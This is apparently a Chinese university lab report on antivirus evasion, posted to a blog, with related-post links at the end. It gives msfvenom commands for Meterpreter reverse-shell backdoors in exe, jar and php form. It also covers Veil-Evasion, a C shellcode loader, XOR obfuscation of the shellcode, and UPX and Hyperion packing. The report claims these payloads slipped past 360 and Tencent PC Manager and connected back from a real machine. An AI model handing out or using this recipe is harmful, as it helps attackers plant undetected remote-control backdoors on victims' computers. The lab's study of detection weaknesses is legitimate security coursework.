1.实验内容

  • 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;(1.5分)
  • 2.通过组合应用各种技术实现恶意代码免杀(1分)

    (如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
  • 3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(1分)

2.基础问题回答

(1)杀软是如何检测出恶意代码的?

  • 基于特征码的检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序当作恶意软件。
  • 启发式恶意软件检测:启发式Heuristic,简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据。对恶意软件检测来主说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧。典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。
  • 基于行为的恶意软件检测:通过对恶意代码的观察、研究,有一些行为是恶意代码的共同行为,而且比较特殊。所以当一个程序在运行时,杀毒软件会监视其行为,如果发现了这种特殊的行为,则会把它当成恶意软件。

(2)免杀是做什么?

  • 通过伪装,加解密,对shellcode进行变形,利用veil进行重写重编译等手段防止生成的后门被杀软检测出来

(3)免杀的基本方法有哪些?

  • 改变特征码

    • 如果你手里只有EXE

      • 加壳:压缩壳 加密壳,使其无法进行逆向,比对病毒库中的特征码
    • 有shellcode(像Meterpreter)
      • 用encode进行编码
      • 基于payload重新编译生成可执行文件
    • 有源代码
      • 用其他语言进行重写重编译(veil-evasion)
      • 半手工
  • 改变行为

    • 通讯方式

      • 例如之前注入所用到的反弹端口连接
      • 使用隧道技术
      • 加密通讯数据
    • 操作模式
      • 基于内存操作
      • 减少对系统的修改
      • 加入混淆作用的正常功能代码
  • 非常规方法

    • 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中
    • 使用社工类攻击,诱骗目标关闭AV软件
    • 纯手工打造一个恶意软件

3.实验内容

任务一:正确使用免杀工具或技巧

使用msf编码器,msfvenom生成如jar之类的其他文件

  • Msfvenom是Metasploit平台下用来编码payloads免杀的工具。以Metaspliot的知名度和普及度。理所当然,所有AV厂家都盯着呢,一有新编码算法,马上就得加到特征库里。通过编码后,按理论上讲,编码会降低检出率,大不了多编码几次,总会检不出来。
  • 编码一次命令如下(用-e参数编码):
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai  -b ‘\x00’ LHOST=192.168.19.129 LPORT=5230 -f exe > 20165230_backdoor.exe

  • 放去virscan扫描,结果有点惨,有29个扫描了出来。

  • 编码十次命令如下(用-i参数指定编码次数):

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.19.129 LPORT=5230 -f exe > 20165230_back2.exe

  • 再放去扫描,少了1个,但感觉没有多大效果。

  • 生成.jar文件夹

    msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.19.129 lport=5230 x> 20165230_backdoor_java.jar

  • msfvenom生成php文件:

    msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.19.129 lport=5230 x> 20165230_backdoor.php

使用veil-evasion

  • 居然安装了一天也没有安装出来,老是卡在展开对象那里,去网上搜也没有找到解决方案,最后实在没办法去拷贝了学长的虚拟机 TAT
  • 下面是学长博客里的正常安装方法:

在Kali终端中使用sudo apt-get install veil安装,若遇到问题则用sudo apt-get updatesudo apt-get upgrade这两个命令更新一下软件包即可:

之后用veil命令打开Veil,输入y继续安装直至完成

  • 在终端中使用veil命令进入应用,输入use evasion进入veil-evasion

    输入use python/meterpreter/rev_tcp.py

  • 然后设置回连IP(此处IP是kali)和端口,输入generate生成文件,接着输入你想要payload的名字:veil_c_5230:

  • 然后生成了可执行文件。

  • 看看Viruscan的扫描结果怎么样,咦还不错,只有15个了!

自己利用shellcode编程

Linux平台交叉编译Windows应用

  • 使用命令msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.19.129 LPORT=5230 -f c 生成一个c语言格式的shellcode数组

  • vim shell1.c命令新建一个c文件,将生成的shellcode粘贴到其中,并在之后添加主函数

int main()
{
int (*func)() = (int(*)())buf;
func();
}

  • 再用i686-w64-mingw32-g++ shell1.c -o shell1.exe命令生成可执行文件
  • 将后门shell1.exe传到Windows 7并尝试回连:
1.在kali中输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.19.129 LPORT=5230 -f exe > shell1.exe注意这里的IP地址为控制端IP,即LinuxIP,生成后门程序

2.在Windows下执行ncat.exe -l 5230 > shell1.exe,这样被控主机就进入了接收文件模式

3.在kali中通过nc 192.168.19.128 5230 < shell1.exe将生成的后门程序传送到Windows主机上.注意这里的IP为被控主机IP,即WindowsIP

  • 回连先ping通,然后再做是没有问题的

  • 还是一样用Viruscan扫描一下

  • 发现并没有改进啊!

  • -e指定生成shellcode的编码方式,生成新的shellcode msfvenom -p windows/meterpreter/reverse_https -e x86/bloxor LHOST=192.168.19.129 -f c

  • 还是不行!!

接下来我换了N种方式变换了主函数,重新生成了shellcode,不断用ncat在两台虚拟机之间传输exe,依然没用,我的内心是崩溃的

  • 再试一下老师提供的方法!
  • 。。。被删除了

加壳处理

upx压缩壳

  • upx是一种压缩程序,可以实现加壳的功能,Kali下输入命令upx shellupx.exe -o shellupx.upxed.exe

  • 再去扫一遍,emmmmm,这个壳好像也没用

Hyperion加密壳

  • 进入目录/usr/share/windows-binaries/hyperion/中;

  • 输入命令wine hyperion.exe -v shell5.upxed.exe shell5.upxed.Hyperion.exe进行加壳:

  • 再去扫一遍,咦,稍微好了一点点点,不过还是不要加壳了吧

任务二:通过组合应用各种技术实现恶意代码免杀

对shellcode进行免杀变形

  • 思路是在上一步里msfvenom生成shellcode的基础上加上了对每一位进行加2运算,并将shellcode与0x5f相异或,使用的codeblocks编译

在经历了N次失败后,已经快要没有信心了,后来我之前相同的代码在主机的Codeblocks编译生成exe,再放去viruscan里扫描 居然成功了!也太神奇了吧

  • 也没有被杀软杀!360和腾讯管家都开了

  • 再回连一下,OK!!

veil+加壳

  • 将之前的veil生成的veil_5230.exe,拷贝到/usr/share/windows-binaries/hyperion/目录中
  • 进入目录/usr/share/windows-binaries/hyperion/中
  • 输入命令wine hyperion.exe -v sxx_upxed.exe sxx_upxed_Hyperion.exe进行加壳
  • 最后放到viruscan里,发现加壳真的很鸡肋。。。最开始veil生成的exe扫描出来结果是15,这样的方式居然是21!

任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

  • 实验环境:被控机是Win0实体机,装有腾讯电脑管家(12.14.19590.218)
  • 攻击成功,可以查看她的文件夹

4.实践总结与体会

  • 这次实验花了N多天时间,才最终完成,整个过程确实煎熬,先是配置veil不成功,虚拟机崩了两次,再是不论怎样组合shellcode扫描的结果都不变,还有在实验过程中保存在桌面的实验截图突然不见了,被系统删掉了,又只有重新截图,在期间看了很多博客,确是收获了不少。对免杀技术也有了进一步的掌握,让我对病毒的认识有了进一步的提升,同时深刻看出了当今杀毒软件的脆弱以及各杀毒软件之间水平的差异,所以,谨慎小心对于我们这个行业的学生来说是非常重要并且安全威胁是近在眼前的!

5.离实战还缺些什么技术或步骤?

  • 如何隐藏后门,让别人不经意触发后门实现控制,
  • 如何让后门自启动

20165230 Exp3 免杀原理与实践的更多相关文章

  1. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  2. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  3. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

  4. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  5. 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  6. 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践

    2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...

  7. 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

  8. 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...

  9. 2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践 一.实验说明 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),vei ...

随机推荐

  1. 【vue】vue +element 搭建项目,mock模拟数据(纯干货)

    1.安装mockjs依赖 (c)npm install mockjs --save-dev 2.安装axios(Ajax) (c)npm install --save axios 3.项目目录 4.设 ...

  2. Chrome Inspect调试微信出现404,需要FQ

    要么FQ,要么买个程序 见连接 http://www.cnblogs.com/slmk/p/7591126.html

  3. PHP 练习(新闻发布)

    1.新闻发布主页面 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://w ...

  4. Neutron flat network 学习

    flat network 是不带 tag 的网络,要求宿主机的物理网卡直接与 linux bridge 连接,这意味着: 每个 flat network 都会独占一个物理网卡.   在 ML2 配置中 ...

  5. chattr文件锁

    chattr文件锁 chattr 和lsattr [root@1 ~]# whereis chattr #---查看chattr命令 chattr: /usr/bin/chattr /usr/shar ...

  6. [转帖]Windows 10 部分早期版本已完全停止技术支持服务

    Windows 10 部分早期版本已完全停止技术支持服务 2019-4-12 01:27| 发布者: cjy__05| 查看: 10186| 评论: 47|来自: pcbeta 收藏分享 转帖来源:h ...

  7. js中 ajax动态新增节点无法触发点击事件

    在写ajax加载数据的时候发现,后面添加进来的demo节点元素,失去了之前的点击事件. 其实最简单的方法就是直接在标签中写onclick="",但是这样写有些场景的是实现不了的,最 ...

  8. react学习目录

    前面的话 React是如今热门的两大前端框架之一,它设计思路独特,性能卓越,逻辑简单,受到了大量开发者的喜爱.Vue的基本思路是基于HTML模板的扩展,而React的基本思路是基于JS语言的扩展.由于 ...

  9. python学习日记(OOP访问限制)

    在Class内部,可以有属性和方法,而外部代码可以通过直接调用实例变量的方法来操作数据,这样,就隐藏了内部的复杂逻辑. 但是,从前面Student类的定义来看,外部代码还是可以自由地修改一个实例的na ...

  10. 在Ubuntu上使用离线方式快速安装K8S v1.11.1

    在Ubuntu上使用离线方式快速安装K8S v1.11.1 0.安装包文件下载 https://pan.baidu.com/s/1nmC94Uh-lIl0slLFeA1-qw v1.11.1 文件大小 ...